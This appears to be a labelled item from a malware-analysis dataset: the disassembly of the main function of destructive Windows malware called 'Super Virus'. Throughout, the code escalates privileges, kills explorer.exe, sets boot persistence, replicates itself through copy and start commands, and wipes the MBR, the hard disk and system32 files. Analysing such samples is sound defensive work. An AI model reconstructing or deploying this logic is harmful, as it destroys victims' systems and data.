Function at 0x402b55
Capabilities:
Execute command

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1160
call fcn.004114b0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1100], ecx
mov qword [rbp + 0x1108], rdx
call dbg.__main
cmp dword [rbp + 0x1100], 1
jne 0x402ba0
mov ecx, 0
call sym.time
add eax, 0xa
mov dword [0x004ab040], eax
jmp 0x402c23
lea rax, [rbp + 0xfef]
mov rcx, rax
call fcn.004486a0
mov eax, dword [rbp + 0x1100]
cdqe
shl rax, 3
lea rdx, [rax - 8]
mov rax, qword [rbp + 0x1108]
add rax, rdx
mov rdx, qword [rax]
lea rcx, [rbp + 0xfef]
lea rax, [rbp + 0xfe0]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xfe0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call dbg.std::stoi(std::string const&, unsigned long long*, int)
mov dword [0x004ab040], eax
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xfef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
call dbg.GetPCName()
xor eax, 1
test al, al
je 0x402c67
lea rdx, [0x0048b5ab]
lea rcx, [0x004ab030]
call sym.strcmp
test eax, eax
je 0x402c5d
lea rdx, str.AN_OLD_PC
lea rcx, [0x004ab030]
call sym.strcmp
test eax, eax
jne 0x402c67
mov ecx, 0
call sym.exit
call dbg.ElevationPrivilege()
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov edx, 5
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindow]
call rax
mov qword [rbp + 0x10d8], rax
mov rax, qword [rbp + 0x10d8]
mov edx, 0xfffffff0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowLongA]
call rax
mov dword [rbp + 0x10d0], eax
mov eax, dword [rbp + 0x10d0]
and eax, 0x10000000
test eax, eax
je 0x402cde
mov eax, dword [rbp + 0x10d0]
and eax, 0x800000
test eax, eax
je 0x402cde
nop
call dbg.Hide()
cmp dword [rbp + 0x1100], 2
jg 0x402dc9
jmp 0x402cff
mov rax, qword [rbp + 0x10d8]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindow]
call rax
mov qword [rbp + 0x10d8], rax
jmp 0x402c8d
jmp 0x402d2d
mov rax, qword [rbp + 0x1108]
lea rdx, str._protect
mov rcx, rax
call dbg.start(char**, char const*)
mov rax, qword [rbp + 0x1108]
lea rdx, str._save
mov rcx, rax
call dbg.start(char**, char const*)
mov ecx, 0
call sym.time
lea rdx, [rax + 3]
mov eax, dword [0x004ab040]
mov eax, eax
cmp rdx, rax
setl al
test al, al
jne 0x402d01
lea rcx, str.taskkill__f__im_explorer.exe
call sym.system
mov rax, qword [rbp + 0x1108]
lea rdx, str._killwindows
mov rcx, rax
call dbg.start(char**, char const*)
mov rax, qword [rbp + 0x1108]
lea rdx, str._KillHardDisk
mov rcx, rax
call dbg.start(char**, char const*)
mov rax, qword [rbp + 0x1108]
lea rdx, str._killMBR
mov rcx, rax
call dbg.start(char**, char const*)
mov rax, qword [rbp + 0x1108]
lea rdx, str._protect
mov rcx, rax
call dbg.start(char**, char const*)
mov rax, qword [rbp + 0x1108]
lea rdx, str._autoup
mov rcx, rax
call dbg.start(char**, char const*)
jmp 0x402d59
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._save
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402e9a
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x10b8], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x10b4], eax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
cdq
idiv dword [rbp + 0x10b8]
mov dword [rbp + 0x10b0], edx
call sym.rand
cdq
idiv dword [rbp + 0x10b4]
mov dword [rbp + 0x10ac], edx
mov edx, dword [rbp + 0x10ac]
mov eax, dword [rbp + 0x10b0]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 6
mov rax, qword [sym.imp.USER32.dll_mouse_event]
call rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x402e27
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._autoup
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x403019
jmp 0x402ecf
mov ecx, 0x14
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.time
mov rdx, rax
mov eax, dword [0x004ab040]
mov eax, eax
cmp rdx, rax
setl al
test al, al
jne 0x402ec1
lea rax, [rbp + 0xfff]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0xfff]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.Super_Virus
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
mov rcx, rax
call dbg.stringToWstring(std::string const&)
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0xfff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x100f]
mov rcx, rax
call fcn.004486a0
mov rax, qword [rbp + 0x1108]
mov rdx, qword [rax]
lea rcx, [rbp + 0x100f]
lea rax, [rbp + 0x1000]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xfc0]
lea rdx, [rbp + 0x1000]
mov rcx, rax
call dbg.stringToWstring(std::string const&)
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x100f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0xfc0]
lea rax, [rbp + 0x1010]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rdx, [rbp + 0xfd0]
lea rax, [rbp + 0x1020]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rdx, [rbp + 0x1010]
lea rax, [rbp + 0x1020]
mov rcx, rax
call dbg.SetBootStartUp(std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >, std::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >)
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.0044a740
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.0044a740
jmp 0x402fb7
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._killMBR
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x403070
jmp 0x40304a
mov ecx, 0x14
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.time
mov rdx, rax
mov eax, dword [0x004ab040]
mov eax, eax
cmp rdx, rax
setl al
test al, al
jne 0x40303c
call dbg.KillMBR()
jmp 0x403069
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._KillHardDisk
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4030c7
jmp 0x4030a1
mov ecx, 0x14
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.time
mov rdx, rax
mov eax, dword [0x004ab040]
mov eax, eax
cmp rdx, rax
setl al
test al, al
jne 0x403093
call dbg.KillHardDisk()
jmp 0x4030c0
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._protect
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40368f
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
mov dword [rbp + 0x10d4], 0
jmp 0x403682
call sym.rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [rbp + 0x10cc], eax
mov edx, dword [rbp + 0x10cc]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x10cc], eax
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x7b0]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x103f]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0x103f]
lea rax, [rbp + 0x1030]
mov r8, rdx
lea rdx, str..txt
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1050]
mov rcx, rax
call dbg.std::to_string(int)
lea rax, [rbp + 0x1060]
mov edx, dword [rbp + 0x10cc]
mov rcx, rax
call dbg.std::to_string(int)
lea rax, [rbp + 0x1040]
lea rcx, [rbp + 0x1050]
lea rdx, [rbp + 0x1060]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
lea rax, [rbp + 0xfb0]
lea rcx, [rbp + 0x1030]
lea rdx, [rbp + 0x1040]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x103f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
lea rbx, [rax + 0x30]
lea rax, [rbp + 0x108f]
mov rcx, rax
call fcn.004486a0
lea rdx, [rbp + 0x108f]
lea rax, [rbp + 0x1080]
mov r8, rdx
lea rdx, str..bat
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
call sym.rand
imul eax, dword [rbp + 0x10cc]
mov edx, eax
lea rax, [rbp + 0x1090]
mov rcx, rax
call dbg.std::to_string(int)
lea rax, [rbp + 0x1070]
lea rcx, [rbp + 0x1080]
lea rdx, [rbp + 0x1090]
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____std::basic_string_char__std::char_tr
lea rax, [rbp + 0x1070]
mov rcx, rax
call method.std::string.c_str___const
mov r8, rbx
lea rdx, [0x0048b628]
mov rcx, rax
call sym.freopen
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x108f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, str._0_0
mov rcx, qword [0x0048fe10]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x1108]
mov rbx, qword [rax]
lea rax, [rbp + 0xfb0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
mov rax, qword [rbp + 0x1108]
mov rdx, qword [rax]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rbx
mov r9, rcx
mov r8, rdx
lea rdx, str.copy__b__s_s__s
mov rcx, rax
call dbg.sprintf(char*, char const*, ::)
mov rax, qword [rbp + 0x1108]
mov rdx, qword [rax]
lea rax, [rbp + 0x7b0]
mov r8, rdx
lea rdx, str.start__s
mov rcx, rax
call dbg.sprintf(char*, char const*, ::)
lea rax, [rbp + 0xfb0]
mov rcx, rax
call method.std::string.c_str___const
lea rdx, [0x0048b64a]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x10c0], rax
call sym.rand
mov edx, eax
mov rax, qword [rbp + 0x10c0]
mov r8d, edx
lea rdx, [0x0048b006]
mov rcx, rax
call dbg.fprintf(_iobuf*, char const*, ::)
mov rax, qword [rbp + 0x10c0]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x10bc], eax
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax - 0x50], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax - 0x50], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax - 0x50], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax - 0x50], 0
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
mov edx, dword [rbp + 0x10cc]
xor edx, 0x30
cdqe
mov byte [rbp + rax - 0x50], dl
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax - 0x50], 0x2e
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax - 0x50], 0x65
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax - 0x50], 0x78
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax - 0x50], 0x65
lea rax, [rbp + 0x7b0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x10bc], eax
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax + 0x7b0], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax + 0x7b0], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax + 0x7b0], 0
sub dword [rbp + 0x10bc], 1
mov eax, dword [rbp + 0x10bc]
cdqe
mov byte [rbp + rax + 0x7b0], 0
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
mov edx, dword [rbp + 0x10cc]
xor edx, 0x30
cdqe
mov byte [rbp + rax + 0x7b0], dl
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax + 0x7b0], 0x2e
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax + 0x7b0], 0x65
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax + 0x7b0], 0x78
mov eax, dword [rbp + 0x10bc]
lea edx, [rax + 1]
mov dword [rbp + 0x10bc], edx
cdqe
mov byte [rbp + rax + 0x7b0], 0x65
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.system
lea rax, [rbp + 0x7b0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x7b0]
add rax, rdx
mov word [rax], 0x20
mov edx, dword [0x004ab040]
lea rax, [rbp + 0x10a0]
mov rcx, rax
call dbg.std::to_string(unsigned int)
lea rax, [rbp + 0x10a0]
mov rcx, rax
call method.std::string.c_str___const
mov rdx, rax
lea rax, [rbp + 0x7b0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.00451e10
lea rax, [rbp + 0x7b0]
mov rcx, rax
call sym.system
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.00451e10
add dword [rbp + 0x10d4], 1
cmp dword [rbp + 0x10d4], 1
jle 0x40310c
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._killwindows
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40371d
jmp 0x4036c0
mov ecx, 0x14
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0
call sym.time
mov rdx, rax
mov eax, dword [0x004ab040]
mov eax, eax
cmp rdx, rax
setl al
test al, al
jne 0x4036b2
lea rcx, str.C:windows_system32_taskmgr.exe
call dbg.KillFile(char const*)
lea rcx, str.C:windowsexplorer.exe
call dbg.KillFile(char const*)
lea rcx, str.C:windows_system32drivers
call dbg.KillIndex(char const*)
lea rcx, str.C:windows_system32config
call dbg.KillIndex(char const*)
lea rcx, str.C:windows_system32
call dbg.KillIndex(char const*)
jmp 0x4036df
mov rax, qword [rbp + 0x1108]
add rax, 8
mov rax, qword [rax]
lea rdx, str._mulan
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4037b7
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov ecx, eax
mov edx, 0x92492493
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 3
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
lea eax, [rdx + rdx]
mov edx, eax
lea eax, [rdx*8]
sub eax, edx
sub ecx, eax
mov eax, ecx
cdqe
lea rdx, [rax*8]
lea rax, [0x004750c0]
mov rax, qword [rdx + rax]
mov r9d, 0
lea r8, [0x0048b6da]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ecx, 0
call sym.exit
mov rbx, rax
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.00451e10
jmp 0x4037d8
lea rax, [rbp + 0xfef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.00451e10
jmp 0x403809
lea rax, [rbp + 0xfff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.00451e10
jmp 0x40383a
lea rax, [rbp + 0x100f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x403885
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.0044a740
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.00451e10
jmp 0x4038b6
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.00451e10
jmp 0x4038ca
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.00451e10
jmp 0x4038de
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.00451e10
jmp 0x4038f2
lea rax, [rbp + 0x103f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.00451e10
jmp 0x403923
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.00451e10
jmp 0x403937
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.00451e10
jmp 0x40394b
lea rax, [rbp + 0x108f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x40395f
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.00451e10
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
nop